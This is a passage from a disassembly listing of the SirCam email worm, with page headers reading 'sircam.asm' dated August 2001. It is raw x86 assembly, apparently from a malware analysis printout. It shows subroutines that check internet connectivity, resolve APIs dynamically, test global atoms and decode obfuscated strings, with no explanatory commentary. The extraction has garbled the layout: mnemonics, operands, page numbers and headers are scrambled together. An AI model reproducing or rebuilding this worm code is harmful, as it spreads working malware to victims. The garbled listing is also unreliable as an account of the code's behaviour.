sub_418880+151\030o ; sub_418880+194\030o dword_418BE0 dd 25222022h, 25202231h, 2Ah, 0FFFFFFFFh, 7 ; DATA XREF: sub_418880+15E \030o ; sub_418880+1A1\030o dword_418BF4 dd 22312522h, 2A2520h, 0FFFFFFFFh, 0Bh ; DATA XREF: sub_418880+180\030o dword_418C04 dd 5E73626Eh, 3F42428Ah, 758777h, 0FFFFFFFFh, 7 ; DATA XREF: sub_418880+1 E1\030o dword_418C18 dd 7F6D7F61h, 7C8082h, 0FFFFFFFFh, 1Eh ; DATA XREF: sub_418880+21F\030o aBomzcsculccmuc db ’\201o\214\207\227\221\226\223\213\226Cm\223\226\210\226\223\207\227Dt \210\211\215\210\207Q\211\235\207’,0 ; DATA XREF: sub_418880+247\030o align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418C48 proc near var_2964 var_164 var_18 var_14 var_C var_8 var_4 arg_0 arg_4 = = = = = = = = = byte ptr -2964h byte ptr -164h dword ptr -18h dword ptr -14h byte ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch push mov ebp ebp, esp ; CODE XREF: start+A8E\031p sircam.asm Fri Aug 10 12:42:44 2001 655 push mov eax eax, 2 add push dec jnz mov add push push mov mov mov call mov call lea xor push push push mov mov mov mov call mov mov lea ; CODE XREF: sub_418C48+11\031j esp, 0FFFFF004h eax eax short loc_418C51 eax, [ebp+var_4] esp, 0FFFFF6A0h ebx esi [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 ebx, [ebp+var_C] eax, eax ebp offset loc_418DB9 dword ptr fs:[eax] fs:[eax], esp [ebp+var_18], 1 [ebp+var_14], 0 eax, [ebp+var_8] sub_403724 esi, eax dword ptr [ebx], 1 ecx, [ebp+var_2964] loc_418C51: loc_418CB1: ; CODE XREF: sub_418C48+A5\031j mov eax, esi cdq cmp edx, [ebp+var_14] jnz short loc_418CC0 cmp eax, [ebp+var_18] jnb short loc_418CD0 jmp short loc_418CC2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418CC0: ; CODE XREF: sub_418C48+6F\030j jge short loc_418CD0 mov mov [ebp+var_18], 1 [ebp+var_14], 0 mov mov mov mov add adc inc inc cmp jnz mov mov push push mov mov sub sbb call ; CODE XREF: sub_418C48+74\030j ; sub_418C48+78\030j eax, [ebp+var_18] edx, [ebp+var_8] al, [edx+eax-1] [ecx], al [ebp+var_18], 1 [ebp+var_14], 0 dword ptr [ebx] ecx dword ptr [ebx], 2801h short loc_418CB1 [ebp+var_18], 0 [ebp+var_14], 0 0 2800h eax, [ebp+arg_0] edx, [ebp+arg_4] eax, 280h edx, 0 sub_4055D6 loc_418CC2: ; CODE XREF: sub_418C48+76\030j loc_418CD0: sircam.asm Fri Aug 10 12:42:44 2001 656 mov [ebp+arg_0], eax mov [ebp+arg_4], edx dec dword ptr [ebx] mov edx, [ebp+var_4] lea eax, [ebp+var_164] call sub_404E16 mov eax, ds:off_41DC30 mov byte ptr [eax], 0 mov edx, 1 lea eax, [ebp+var_164] call sub_405124 call sub_40265C jmp short loc_418D6D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418D4C: ; CODE XREF: sub_418C48+133\031j ; sub_418C48+137\031j push lea mov lea call call add adc ebx edx, [ebp+var_2964] ecx, [ebx] eax, [ebp+var_164] sub_404F1C sub_40265C [ebp+var_18], 1 [ebp+var_14], 0 loc_418D6D: ; CODE XREF: sub_418C48+102\030j mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] cmp edx, [ebp+var_14] jnz short loc_418D7F cmp eax, [ebp+var_18] ja short loc_418D4C jmp short loc_418D81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418D7F: ; CODE XREF: sub_418C48+12E\030j jg short loc_418D4C lea call call mov mov call xor pop pop pop mov push ; CODE XREF: sub_418C48+135\030j eax, [ebp+var_164] sub_404F80 sub_40265C edx, 2 eax, [ebp+var_4] sub_4071B8 eax, eax edx ecx ecx fs:[eax], edx offset loc_418DC0 loc_418D81: loc_418DAB: sub_418C48 ; CODE XREF: CODE:00418DBE\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -1974h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418DB9: ; DATA XREF: sub_418C48+3A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_418DAB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418DC0: ; DATA XREF: sub_418C48+15E\030o pop esi sircam.asm Fri Aug 10 12:42:44 2001 pop mov pop retn 657 ebx esp, ebp ebp 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418DC8 proc near var_4 = dword ptr -4 ; CODE XREF: start+ABC\031p start+AF4\031p push mov push push mov mov call xor push push push mov ebp ebp, esp ecx ebx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_418E17 dword ptr fs:[eax] fs:[eax], esp mov call push call mov push call test jnz xor pop pop pop mov push ; CODE XREF: sub_418DC8+37\031j eax, [ebp+var_4] sub_4038E8 eax j_GlobalFindAtomA ebx, eax ebx j_GlobalDeleteAtom bx, bx short loc_418DE6 eax, eax edx ecx ecx fs:[eax], edx offset loc_418E1E loc_418DE6: loc_418E0E: sub_418DC8 ; CODE XREF: CODE:00418E1C\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418E17: ; DATA XREF: sub_418DC8+13\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_418E0E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418E1E: ; DATA XREF: sub_418DC8+41\030o pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418E24 proc near ; CODE XREF: sub_41A7EC+D\031p sircam.asm var_9 var_8 var_4 Fri Aug 10 12:42:44 2001 = byte ptr -9 = dword ptr -8 = dword ptr -4 push mov add push push mov mov mov mov call mov call xor push push push mov mov mov call mov push call test jz push call mov test jz mov call push push call mov cmp jz mov ebp ebp, esp esp, 0FFFFFFF4h ebx esi esi, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_418EAB dword ptr fs:[eax] fs:[eax], esp [ebp+var_9], 0 eax, [ebp+var_4] sub_4038E8 ebx, eax ebx j_LoadLibraryA eax, eax short loc_418E90 ebx j_GetModuleHandleA_1 ebx, eax ebx, ebx short loc_418E90 eax, [ebp+var_8] sub_4038E8 eax ebx j_GetProcAddress_0 [esi], eax dword ptr [esi], 0 short loc_418E90 [ebp+var_9], 1 loc_418E90: ; CODE XREF: sub_418E24+44\030j ; sub_418E24+50\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_418EB2 loc_418E9D: sub_418E24 658 ; CODE XREF: CODE:00418EB0\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418EAB: ; DATA XREF: sub_418E24+23\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_418E9D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418EB2: ; DATA XREF: sub_418E24+74\030o sircam.asm Fri Aug 10 12:42:44 2001 659 mov al, [ebp-9] pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418EBC proc near var_14 var_10 var_C var_8 var_1 = = = = = ; CODE XREF: sub_4190CC+95E\031p ; sub_4190CC+EA7\031p ... byte ptr -14h dword ptr -10h dword ptr -0Ch byte ptr -8 byte ptr -1 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx mov [ebp+var_1], al xor eax, eax push ebp push offset loc_418F7C push dword ptr fs:[eax] mov fs:[eax], esp push 0 push 1 lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, offset dword_418F94 mov eax, ds:dword_41EEFC call sub_415EAC mov eax, [ebp+var_10] mov edx, offset dword_418FA0 call sub_403834 jnz short loc_418F5F push 0 lea eax, [ebp+var_8] push eax call j_InternetGetConnectedState neg eax sbb ebx, ebx neg ebx test bl, bl jz short loc_418F24 lea eax, [ebp+var_C] mov edx, offset dword_418FAC call sub_403560 jmp short loc_418F31 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418F24: lea mov call loc_418F31: ; CODE XREF: sub_418EBC+57\030j eax, [ebp+var_C] edx, offset dword_418FA0 sub_403560 ; CODE XREF: sub_418EBC+66\030j sircam.asm Fri Aug 10 12:42:44 2001 push push lea push mov mov mov call test jz cmp jnz 660 1 1 eax, [ebp+var_14] eax ecx, [ebp+var_C] edx, offset loc_418FB8 eax, ds:dword_41EEFC sub_415EAC bl, bl short loc_418F55 [ebp+var_1], 0 short loc_418F59 loc_418F55: ; CODE XREF: sub_418EBC+91\030j xor eax, eax jmp short loc_418F5B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418F59: ; CODE XREF: sub_418EBC+97\030j mov al, 1 loc_418F5B: ; CODE XREF: sub_418EBC+9B\030j mov ebx, eax jmp short loc_418F61 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418F5F: ; CODE XREF: sub_418EBC+42\030j xor ebx, ebx xor pop pop pop mov push ; CODE XREF: sub_418EBC+A1\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_418F83 loc_418F61: loc_418F6E: sub_418EBC ; CODE XREF: CODE:00418F81\031j lea eax, [ebp+var_14] mov edx, 3 call sub_4034EC retn endp ; sp = -2Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418F7C: ; DATA XREF: sub_418EBC+11\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_418F6E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418F83: ; DATA XREF: sub_418EBC+AD\030o mov eax, ebx pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 3 dword_418F94 dd 394346h, 0FFFFFFFFh, 1 ; DATA XREF: sub_418EBC+26\030o dword_418FA0 dd 30h, 0FFFFFFFFh, 1 ; DATA XREF: sub_418EBC+38\030o ; sub_418EBC+6B\030o dword_418FAC dd 31h, 0FFFFFFFFh, 3 ; DATA XREF: sub_418EBC+5C\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_418FB8: ; DATA XREF: sub_418EBC+80\030o inc inc esi esp sircam.asm Fri Aug 10 12:42:44 2001 xor 661 al, 0 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_418FBC proc near var_C var_5 var_4 = dword ptr -0Ch = byte ptr -5 = dword ptr -4 ; CODE XREF: sub_4190CC+2A8\031p push mov add mov mov call xor push push push mov mov mov call mov xor push push push mov mov add mov call mov call mov cmp jz mov call ebp ebp, esp esp, 0FFFFFFF4h [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_419052 dword ptr fs:[eax] fs:[eax], esp dl, 1 eax, ds:off_412CB8 sub_412D28 [ebp+var_C], eax eax, eax ebp offset loc_419035 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_C] eax, 0Ch edx, [ebp+var_4] sub_40351C eax, [ebp+var_C] sub_412EA0 [ebp+var_5], al [ebp+var_5], 0 short loc_41901F eax, [ebp+var_C] sub_412F7C xor pop pop pop mov push ; CODE XREF: sub_418FBC+59\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_41903C loc_41901F: loc_41902C: sub_418FBC ; CODE XREF: CODE:0041903A\031j mov eax, [ebp+var_C] call sub_402BDC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419035: ; DATA XREF: sub_418FBC+31\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41902C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41903C: ; DATA XREF: sub_418FBC+6B\030o xor pop pop eax, eax edx ecx sircam.asm Fri Aug 10 12:42:44 2001 pop mov push 662 ecx fs:[eax], edx offset loc_419059 loc_419049: ; CODE XREF: CODE:00419057\031j lea eax, [ebp-4] call sub_4034C8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419052: ; DATA XREF: sub_418FBC+14\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_419049 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_419059: ; DATA XREF: CODE:00419044\030o mov al, [ebp-5] mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_419060 dd offset dword_419064 ; DATA XREF: sub_4190CC+1E2\031r ; sub_4190CC+353\031r ... dword_419064 dd 322E0211h, 4 ; DATA XREF: CODE:00419060\030o dd offset off_401000 dd 48h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_419074 proc near var_4 = dword ptr -4 push mov push push mov mov mov call push lea push call test jz mov and cmp jnz mov mov call ebp ebp, esp ecx ebx ebx, eax eax, ebx edx, offset dword_4190BC sub_40351C 0 eax, [ebp+var_4] eax j_InternetGetConnectedState eax, eax short loc_4190AD eax, [ebp+var_4] eax, 1 eax, 1 short loc_4190AD eax, ebx edx, offset dword_4190C8 sub_40351C loc_4190AD: sub_419074 ; CODE XREF: sub_4190CC+69D\031p ; CODE XREF: sub_419074+20\030j ; sub_419074+2B\030j pop ebx pop ecx pop ebp retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_4190BC dd 31h, 0FFFFFFFFh, 1 ; DATA XREF: sub_419074+9\030o sircam.asm dword_4190C8 Fri Aug 10 12:42:44 2001 dd 33h 663 ; DATA XREF: sub_419074+2F\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4190CC proc near var_298 var_294 var_290 var_28C var_288 var_284 var_280 var_27C var_278 var_274 var_270 var_26C var_268 var_264 var_260 var_25C var_258 var_254 var_250 var_24C var_248 var_244 var_240 var_23C var_238 var_138 var_134 var_130 var_12C var_128 var_124 var_120 var_11C var_118 var_114 var_110 var_10C var_108 var_104 var_100 var_FC var_F8 var_F4 var_F0 var_EC var_E8 var_E4 var_E0 var_DC var_D8 var_D4 var_D0 var_CC var_C8 var_C4 var_C0 var_BC var_B8 var_B4 var_B0 var_AC var_A8 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = byte ptr -298h byte ptr -294h dword ptr -290h byte ptr -28Ch dword ptr -288h byte ptr -284h byte ptr -280h dword ptr -27Ch dword ptr -278h byte ptr -274h byte ptr -270h dword ptr -26Ch dword ptr -268h dword ptr -264h dword ptr -260h dword ptr -25Ch dword ptr -258h dword ptr -254h dword ptr -250h dword ptr -24Ch dword ptr -248h byte ptr -244h dword ptr -240h dword ptr -23Ch byte ptr -238h dword ptr -138h dword ptr -134h dword ptr -130h dword ptr -12Ch dword ptr -128h byte ptr -124h byte ptr -120h byte ptr -11Ch dword ptr -118h dword ptr -114h dword ptr -110h dword ptr -10Ch dword ptr -108h dword ptr -104h dword ptr -100h dword ptr -0FCh dword ptr -0F8h dword ptr -0F4h dword ptr -0F0h dword ptr -0ECh dword ptr -0E8h byte ptr -0E4h byte ptr -0E0h byte ptr -0DCh byte ptr -0D8h dword ptr -0D4h byte ptr -0D0h byte ptr -0CCh dword ptr -0C8h dword ptr -0C4h dword ptr -0C0h dword ptr -0BCh dword ptr -0B8h dword ptr -0B4h dword ptr -0B0h dword ptr -0ACh dword ptr -0A8h ; CODE XREF: sub_41A5E4+F6\031p sircam.asm var_A4 var_A0 var_99 var_98 var_97 var_84 var_80 var_79 var_78 var_74 var_70 var_6C var_68 var_64 var_60 var_5C var_58 var_54 var_50 var_4C var_48 var_44 var_40 var_3C var_38 var_34 var_30 var_2C var_28 var_24 var_20 var_1C var_18 var_14 var_10 var_C var_8 var_4 Fri Aug 10 12:42:44 2001 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 664 dword ptr -0A4h dword ptr -0A0h byte ptr -99h byte ptr -98h byte ptr -97h dword ptr -84h dword ptr -80h byte ptr -79h dword ptr -78h dword ptr -74h dword ptr -70h dword ptr -6Ch dword ptr -68h dword ptr -64h dword ptr -60h dword ptr -5Ch dword ptr -58h dword ptr -54h dword ptr -50h dword ptr -4Ch dword ptr -48h dword ptr -44h dword ptr -40h dword ptr -3Ch dword ptr -38h dword ptr -34h dword ptr -30h dword ptr -2Ch dword ptr -28h dword ptr -24h dword ptr -20h dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov mov ebp ebp, esp ecx, 53h push push dec jnz push xor push push push mov mov mov call mov mov mov call mov mov mov call mov mov xor mov lea ; CODE XREF: sub_4190CC+D\031j 0 0 ecx short loc_4190D4 ebx eax, eax ebp offset loc_41A017 dword ptr fs:[eax] fs:[eax], esp dl, 1 eax, ds:off_40BB68 sub_402BAC ds:dword_41EF14, eax dl, 1 eax, ds:off_40BB68 sub_402BAC [ebp+var_74], eax dl, 1 eax, ds:off_40BB68 sub_402BAC [ebp+var_78], eax bl, 1 eax, eax [ebp+var_6C], eax ecx, [ebp+var_A0] loc_4190D4: sircam.asm Fri Aug 10 12:42:44 2001 665 xor edx, edx mov eax, offset aJqcjksgcpXeqdb ; "\206\237\227¦ª\221£\227\217}\232 \225¥\237¤¡\231¤\215{¡¤\226¤¡\225¥Rt\223\224¡¨\236¥R\200\221\237"... call sub_415FAC mov edx, [ebp+var_A0] mov eax, offset dword_41EEF4 call sub_40351C push 0 push 0 lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_A4] xor edx, edx mov eax, offset dword_41A064 call sub_415FAC mov edx, [ebp+var_A4] xor ecx, ecx mov eax, ds:dword_41EEF4 call sub_415EAC cmp [ebp+var_4], 0 jz loc_41922B push ds:dword_41EEF4 lea ecx, [ebp+var_A8] xor edx, edx mov eax, offset dword_41A084 call sub_415FAC push [ebp+var_A8] push [ebp+var_4] push offset dword_41A098 lea eax, [ebp+var_4] mov edx, 4 call sub_4037E4 push 0 push 0 lea eax, [ebp+var_8] push eax lea ecx, [ebp+var_AC] xor edx, edx mov eax, offset aLckh9Dyvv7yZiM ; "lckh9[\204y\202\2027Y}z\211}\214 \211" call sub_415FAC mov edx, [ebp+var_AC] xor ecx, ecx mov eax, [ebp+var_4] call sub_415EAC push 0 push 0 lea eax, [ebp+var_C] push eax lea ecx, [ebp+var_B0] xor edx, edx mov eax, offset dword_41A0C0 call sub_415FAC mov edx, [ebp+var_B0] xor ecx, ecx mov eax, [ebp+var_4] call sub_415EAC push 0 push 0 lea eax, [ebp+var_10] push eax lea ecx, [ebp+var_B4] xor edx, edx mov eax, offset dword_41A0D4 call sub_415FAC mov edx, [ebp+var_B4] xor ecx, ecx mov eax, [ebp+var_4] call sub_415EAC jmp short loc_419272 sircam.asm Fri Aug 10 12:42:44 2001 666 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41922B: lea xor mov call lea mov call push push push lea mov call lea mov call ; CODE XREF: sub_4190CC+A6\030j ecx, [ebp+var_C] edx, edx eax, offset dword_41A0F0 sub_415FAC edx, [ebp+var_B8] eax, 5 sub_41609C [ebp+var_B8] offset dword_41A108 [ebp+var_C] eax, [ebp+var_8] edx, 3 sub_4037E4 edx, [ebp+var_10] eax, 5 sub_41609C push push lea push xor mov mov call push push lea push xor mov mov call push lea mov mov call add mov add mov call push push lea push xor mov mov call mov mov add call lea xor mov call mov mov add call lea xor mov ; CODE XREF: sub_4190CC+15D\030j 0 1 eax, [ebp+var_30] eax ecx, ecx edx, offset aFb1bb_0 ; "FB1BB" eax, ds:dword_41EEFC sub_415EAC 0 1 eax, [ebp+var_34] eax ecx, ecx edx, offset aFb1bc ; "FB1BC" eax, ds:dword_41EEFC sub_415EAC 6 eax, [ebp+var_40] ecx, 1 edx, ds:off_419060 sub_4045A0 esp, 4 eax, [ebp+var_40] eax, 4 edx, [ebp+var_C] 